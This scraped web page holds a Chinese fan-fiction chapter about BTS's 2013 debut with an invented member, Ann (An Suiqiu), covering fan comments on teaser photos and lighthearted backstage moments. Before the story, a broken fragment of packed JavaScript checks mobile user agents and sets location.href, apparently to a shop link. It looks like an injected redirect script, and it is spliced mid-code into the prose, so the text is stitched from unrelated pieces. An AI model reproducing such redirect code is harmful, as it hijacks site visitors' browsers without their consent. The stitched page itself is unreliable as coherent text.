l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394878|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊,声音温和又坚定,没有多余的话,只有一句:“嗯,很帅。” 6月3日,朴智旻、金硕珍、田柾国的预告照同步发布。朴智旻台前幕后的反差魅力,金硕珍极具冲击力的神颜,田柾国干净纯粹的少年气,又吸引了一部分的关注。 终于,6月6日,最后四名成员——金南俊(Rap Monster)、闵玧其(SUGA)、郑号锡(J-Hope)、安岁秋(Ann)的预告照同时公开,完整阵容揭晓。 安岁秋的预告照沿用了MV里的极致造型:半边头发精心编起,耳上缀着三枚银色耳钉,唇间银色唇钉格外醒目,眼尾晕着全包眼线,身着V领豹纹衬衫,他微微侧着脸,淡漠的眼神直直看向镜头,冷冽又叛逆,氛围感拉满。 评论区瞬间爆炸。 「Ann?!是安岁秋?那个演员安岁秋?!」 「我的天,真的是他!他去做偶像了?」 「这造型……和我记忆里演车东株、全民秀的那个人是一个人?!」 「反差太大了!但是好帅……这种叛逆美少年感绝了!」 「演员出身跨界做偶像,唱歌跳舞能行吗?会不会拖累团队实力啊」 「为什么要去做偶像啊?我记得他演技超好的啊,不是有影帝幼年体的外号吗?」 「现在是都流行去做偶像了吗?」 「只有我觉得他很适合吗?那种冷感……」 「这位曾经是演员吗?真的帅我一跳啊,这种造型都这么好看!」 「不知道这位是谁,但是新一代神颜我先压一手!」 安岁秋一条条翻看,脸上没什么表情,好的坏的,惊讶的期待的,都像水流过他紧绷的神经,金南俊察觉到他的沉默,担心地侧头看了他一眼,刚想开口安慰,安岁秋却先一步挑了下眉,随意地把手机放到一旁。 “走吧,”他说,“去练习,评论不会替我们完成舞台。” 2013年6月13日,《M! Countdown》的后台走廊,满是喧嚣与忙碌。 空气里混杂着浓烈的发胶味、脂粉香气、未散的汗水,还有各式外卖食物的味道,层层交织在一起。人来人往的通道里,身着精致打歌服的偶像们带着无懈可击的妆容与笑容,在经纪人、助理与造型师的簇拥下匆匆穿梭,宛如一座庞大又高速运转的造梦工厂。 而防弹少年团的八个少年,目前是挤在公共待机室一个相对偏僻的角落,没有专属的独立休息室,只有几把简易折叠椅,和一张堆满水杯、歌词本、造型工具的破旧小桌子。 门外传来前辈团震耳欲聋的彩排音乐,厚重的鼓点一遍遍撞击着薄薄的隔板,也一下下敲在少年们紧绷的神经上,连呼吸都不自觉带着几分忐忑。 公司的摄像师扛着机器,尽职尽责地跟拍,想要完整记录下他们人生中首个出道舞台的所有点滴。 镜头扫过来时,金南俊正对着角落里一面满是划痕的镜子,低声练习着歌曲里一段复杂的快嘴rap,嘴唇快速翕动,完全沉浸在自己的节奏里。 田柾国坐在他身后的椅子上,眼睛滴溜溜地转,看着金南俊严肃的侧脸和翕动的嘴唇。 他忽然咧嘴一笑,清了清嗓子,然后故意模仿着金南俊的腔调和表情,小声跟在他后面,几乎同步地念起了那段rap——学得惟妙惟肖,连金南俊偶尔因紧张而出现的微小磕绊和花里胡哨的手势动作都模仿了出来。 金南俊从镜子的反射里看到了田柾国的小动作,他停顿了一下,然后转身面无表情地指着正偷笑得肩膀抖动的田柾国,对准了摄像机的镜头,有些咬牙切齿地说:“看,那个人。我讨厌他。” 严肃的语气配上他此刻尚未从练习状态中完全脱离的紧绷表情,以及田柾国瞬间僵住然后爆发的鹅叫声,让这个角落里原本凝重的空气“噗”地一声被戳破了,金硕珍率先笑出来。 “盒盒盒盒盒盒盒——” “南俊哥!” 田柾国跳起来,扑过去勾金南俊的脖子,脸上是恶作剧得逞的灿烂笑容,“我学得像不像?像不像嘛!” 金南俊被他晃得东倒西歪,刚才强行板起的脸也绷不住了,笑着去揉田柾国的头发,“像!你直接替我唱吧!” 郑号锡正在最后调整脸上那个带铆钉的黑色面具,确保跳舞时不会滑脱,安岁秋走过来,仔细看了看,认真地点点头说:“号锡哥,这个面具很帅诶。” “真的吗?”郑号锡眼睛一亮,对着镜子左右转了转脸,打消了几分犹豫不安,“我也觉得,很有swag,跳舞的时候应该效果很好。” 金泰亨则是整个角落里最坐不住的人,手里攥着待会儿表演要用的黑框平光镜,一遍遍反复练习着编舞里“甩头扔眼镜”的核心动作,甩头、抛镜、再接住,动作干脆利落,练了一次又一次,眼镜飞出去又被他敏捷接住,循环往复,丝毫不见疲惫。 他额前的金发被发胶与汗水固定出利落造型,可随着剧烈的动作,依旧有几缕碎发不服帖地翘起,黏在汗湿的额角皮肤上,透着一股不服输的执拗。 安岁秋坐在对面的椅子上,安静地看着他练习,金泰亨那种全力以赴、甚至带着点跟自己较劲的执拗样子,让他想起某种精力过剩的大型犬——比如金毛,明明已经累得吐舌头,但眼睛还是亮晶晶的,非要一遍遍把扔出去的飞盘捡回来,乐此不疲。 他忍不住弯起嘴角,笑了。 金泰亨正好一个甩头接住眼镜,目光瞟过来,精准地捕捉到了安岁秋这个转瞬即逝的笑容。 他眼睛一转,拿着还带着自己体温的眼镜走过来,在安岁秋还没反应过来时,就把那副黑框眼镜架在了他高挺的鼻梁上。 “哇~”金泰亨后退一步,双手捧着安岁秋的脸惊叹,咧出了四方嘴,然后不由分说地掰着安岁秋的脸转向摄像机镜头。 “看!我们Ann!戴眼镜也好好看!像那种……成绩很好但私下里很叛逆的优等生!” 安岁秋被他的动作弄得有点懵,眼镜滑到鼻尖,他伸手扶了扶,透过没有度数的镜片,他看到摄像机红灯亮着,也看到镜头里自己那张被化妆品修饰得更加精致、此刻却显得有些茫然的脸。 耳垂上的三颗钻石耳钉和唇上的银环在待机室昏黄不均的灯光下,反射着细碎而冷冽的光芒。 “V哥也是,戴不戴都好看。”安岁秋取下眼镜,嘴角上扬着又给金泰亨扣了回去,还顺势摸了摸他蓬松柔软的金毛,手感毛茸茸的,像一只又乖又野的幼狮。 “嘿嘿~” 狮子要是这样叫,应该会被踢出群聊了。 闵玧其换好打歌服也走了过来,下半身那条很有设计的黑色分层嘻哈屁帘,随着他略显烦躁的步伐轻轻晃动。安岁秋的目光落在那片晃荡的布料上,眼底含着笑意,轻声喊住他:“玧其哥。” “嗯?”闵玧其停下脚步,抬眼看向他。 “那个……”安岁秋指了指他身侧晃荡的黑色布料嘴角扬起弧度,“善解人意”地提醒道:“别走光了。” “???” 闵玧其一愣,低头看了看自己这身裙不裙、裤不裤的装扮,屁帘下还裹着紧身裤,压根不存在走光的可能。 他面无表情地抬眼,不客气地甩给安岁秋一个白眼,随即十分随性地岔开腿坐下,透着一股不羁的随性。 安岁秋见状,默默撇过头,忍不住偷偷笑了起来。 紧张的气氛,在这些琐碎而普通的互动中,似乎被悄然冲淡了一些,但也只是薄薄的一层,底下翻滚的依然是快要淹没心跳的忐忑。